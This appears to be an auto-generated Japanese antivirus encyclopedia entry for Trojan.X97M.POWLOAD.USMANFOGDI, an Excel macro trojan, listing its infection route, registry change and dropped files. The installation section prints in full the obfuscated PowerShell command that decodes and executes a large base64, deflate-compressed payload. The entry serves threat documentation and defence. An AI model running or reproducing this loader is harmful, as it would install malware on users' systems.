Trojan.X97M.POWLOAD.USMANFOGDI

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のプロセスを追加します。

• rundll32 -s shell32.dll , ,ShellExec_RunDLL "pOwErSHElL" "&('n'+'al') ('l'+'ss') ('Ne'+'w-Obje'+'ct') -F;&('na'+'l') ('ls'+'a') ('ie'+'x') -F;&('ls'+'a')( .('ls'+'s') ('I'+'o.sTREa'+'Mre'+'ader')(( &('l'+'ss') ('iO'+'.compr'+'essiOn.'+'DEf'+'L'+'A'+'TeS'+'TR'+'EAm')([syStEm.io.memOrystreAM] [coNvert]::FRomBAse64strINg('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'),[sYstEm.io.cOmpREssiON.coMprESsionmode]::decOmprESs )) ,[TexT.ENcoDIng]::utf8) ).ReAdtoenD( );;.('l'+'sa') (.('l'+'ss') ('IO.'+'stream'+'R'+'eader')(.('l'+'ss') ('IO'+'.'+'Compress'+'ion.GZi'+'pStrea'+'m')((.('l'+'ss') ('IO.M'+'emoryStre'+'a'+'m') -A @(,[Convert]::FromBase64String($b))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()"

他のシステム変更

マルウェアは、以下のレジストリ値を追加します。

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\
Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}
(Default) = ""

作成活動

マルウェアは、以下のファイルを作成します。

• %User Temp%\14530387.od
• %AppDataLocal%\GDIPFONTCACHEV1.DAT
• {malware file path and name}

(註：%User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザー名＞\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local\Temp" です。. %AppDataLocal%フォルダは、ローカルアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local" です。)

このウイルス情報は、自動解析システムにより作成されました。